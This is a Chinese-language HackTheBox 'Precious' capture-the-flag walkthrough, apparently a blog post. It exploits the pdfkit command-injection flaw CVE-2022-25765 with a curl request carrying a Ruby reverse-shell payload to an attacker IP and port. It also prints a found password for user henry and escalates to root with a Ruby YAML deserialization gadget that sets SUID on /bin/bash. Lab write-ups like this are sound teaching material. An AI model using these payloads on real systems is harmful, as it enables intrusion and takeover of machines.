htb_Precious (exiftool, YAML文件)
htb_Precious:10.10.11.189
非常简单~
kali攻击机网络配置
能ping通靶机,可以开始啦
端口扫描
nmap -A 10.10.11.189
开放了80,22端口
访问80端口,浏览器显示域名解析错误
解决方法:
kali攻击机设置本地域名解析
vim /etc/hosts
这个网站可以将我们传上去的web目录转为pdf
先看看源码,没发现
目录扫描,一无所获
子域名爆破,依旧一无所获
那就只能从这个网站的功能入手了,尝试将本地web目录转为pdf查看
kali开启http服务
python3 -m http.server 80
写入本地url
转换成功后会直接跳转到pdf,但是不知道为啥是空白一片的
右键保存pdf到本地
exiftool
可以用于读取各种文件的元数据
这里我们使用exiftool来解析pdf
发现pdfkit v0.8.6
查找cve
漏洞利用脚本
CyberArchitect1/CVE-2022-25765-pdfkit-Exploit-Reverse-Shell: pdfkit <0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6) - CVE-2022-25765 (github.com)
修改脚本中加粗的部分
curl 'http://precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://precious.htb' -H 'Connection: keep-alive' -H 'Referer: http://precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.16.62%3A80%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.62%22%2C6666%29%29%27%60'
kali开启监听
执行脚本
连上了!
目录探测
在根目录下发现.bundle
目录
发现config配置文件,是henry的账号密码
henry Q3c1AqGHtoI0aXAYFH
切换用户
henry的用户目录下发现flag
查看root命令
sudo -l
cat update_dependencies.rb
这段代码的作用是比较已安装的依赖库和一个名为 “dependencies.yml” 的文件中指定的依赖库。
“dependencies.yml” 文件是一个 YAML格式的文件,其中包含依赖库的名称和版本号,用于确保开发环境中安装的依赖库版本与项目的依赖库版本相匹配。代码中,首先使用 Ruby 的 YAML 库读取 “dependencies.yml” 文件,并使用 RubyGems
库获取本地已安装的所有依赖库及其版本信息。然后,代码使用嵌套循环来比较本地已安装的每个依赖库的名称和版本号,与 “dependencies.yml” 文件中指定的每个依赖库的名称和版本号进行匹配。如果本地已安装的依赖库版本与指定的版本不匹配,则输出警告消息,指出已安装的依赖库版本与 “dependencies.yml” 文件中指定的版本不同。如果版本匹配,则输出信息,指出已安装的依赖库版本与
“dependencies.yml” 文件中指定的版本相同。
找到一个漏洞利用脚本
Ruby Privilege Escalation | Exploit Notes (hdks.org)
给/bin/bash添加suid权限
---
- !ruby/object:Gem::Installeri: x
- !ruby/object:Gem::SpecFetcheri: y
- !ruby/object:Gem::Requirementrequirements:!ruby/object:Gem::Package::TarReaderio: &1 !ruby/object:Net::BufferedIOio: &1 !ruby/object:Gem::Package::TarReader::Entryread: 0header: "abc"debug_output: &1 !ruby/object:Net::WriteAdaptersocket: &1 !ruby/object:Gem::RequestSetsets: !ruby/object:Net::WriteAdaptersocket: !ruby/module 'Kernel'method_id: :systemgit_set: "chmod +s /bin/bash"method_id: :resolve
cd /home/henry
ls
sudo /usr/bin/ruby /opt/update_dependencies.rb
bash -p
提权成功
o了
htb_Precious (exiftool, YAML文件)相关推荐
- 《OpenCV3编程入门》学习笔记5 Core组件进阶(六)输入输出XML和YAML文件
第5章 Core组件进阶 5.6 输入输出XML和YAML文件 5.6.1 XML和YAML文件 XML和YAML是使用非常广泛的文件格式,可以利用XML或者YAML式的文件存储和还原各种数据结构,还 ...
- pyradiomics的yaml文件参数设置解读、Li‘s have a solution and plan.
本笔记来源于B站Up主: 有Li 的影像组学系列教学视频 本节(16)主要介绍: pyradiomics的yaml文件参数设置解读 pyradiomics 官网对yaml文件有详细说明: The th ...
- python 对 yaml 文件操作
python 对 yaml 文件操作 #!/usr/bin/env python # -*- encoding: utf-8 -*- """ @Introduce : p ...
- 5、kubernetes 集群 YAML 文件详解
文章目录 一.概述 二.YAML文件介绍 2.1 YAML概述 2.2 YAML 基本语法 2.3 YAML 支持的数据结构 2.3.1 对象 2.3.2 数组 2.3.3 纯量(scalars) 三 ...
- 独家|OpenCV1.8 使用XML和YAML文件实现文件的输入/输出
翻译:陈之炎 校对:李海明本文约2400字,建议阅读5分钟本文为大家介绍了OpenCV使用XML和YAML文件实现的输入输出. 目标 本小节将回答以下问题: 如何使用YAML或XML文件打印和读取文本 ...
- 如何在Python中解析YAML文件
如何在Python中解析YAML文件? #1楼 不依赖C标头的最简单,最纯净的方法是PyYaml( 文档 ): #!/usr/bin/env pythonimport yamlwith open(&q ...
- python 3读取文件-Python3 yaml文件读写操作
简介 yaml作为配置文件是非常友好的一种格式,前面一篇讲了yaml的一些基础语法和读取方法,本篇继续讲yaml文件写入方法 用yaml模块写入字典嵌套字典这种复杂的数据,会出现大括号{ },不是真正 ...
- 深度学习项目中在yaml文件中定义配置,以及使用的python的PyYAML库包读取解析yaml配置文件
文章目录: 1 yaml说明介绍 1.1 yaml介绍 1.2 YAML 相关网址 2 YAML的python包PyYAML的使用 2.1 关于PyYAML的相关网址 2.2 安装PyYAML 2.3 ...
- 利用opencv中的类FileStorage生成和读取XML和YAML文件
有时候程序中的变量值.字符串.数组等数据也需要独立于源代码本身保存,这个时候就需要用到XML和YAML文件进行保存. OpenCV4提供了用于生成和读取XML文件和YAML文件的类FileStorag ...
最新文章
- ccat – 使用语法突出显示输出内容
- php 合并数组 +和array_merge的区别
- protobuf repeated类型的使用
- JavaScript学习总结(一)——ECMAScript、BOM、DOM(核心、浏览器对象模型与文档对象模型)...
- Golang 入门系列(十) mysql数据库的使用
- struts2-ognl 访问静态方法
- Ubuntu16.04搭建caffe环境(cpu-only)与Python调用
- Android样式开发--selector
- 多元相关性分析_研究 | 精神分裂症症状与超氧化物歧化酶相关性的性别差异
- 画米老鼠_蔡康永都在买的画你也买得起,村上隆作品收藏大全
- 对象转型(casting); 多态; static(静态);单例模式
- 记录学习WeakReference发现的问题
- 从海康录像机取RTSP转发流,规律性的断流
- 微信群突然冒出“免费教画画”的女大学生,套路太深,千万别上当!
- flac格式如何转mp3?
- 数学建模常见算法:插值算法
- uniapp写一个登录页面
- 题目描述: 某城市有一个火车站,铁轨铺设如图所示。 有n节车厢从A方向驶入车站,按进站顺序编号1~n。 现让这些火车按照某种特定的顺序进入B方向的铁轨并驶出车站。 为了重组车厢,可以借助中转站C。
- jQuery即点即改
- poi 使用模板导出数据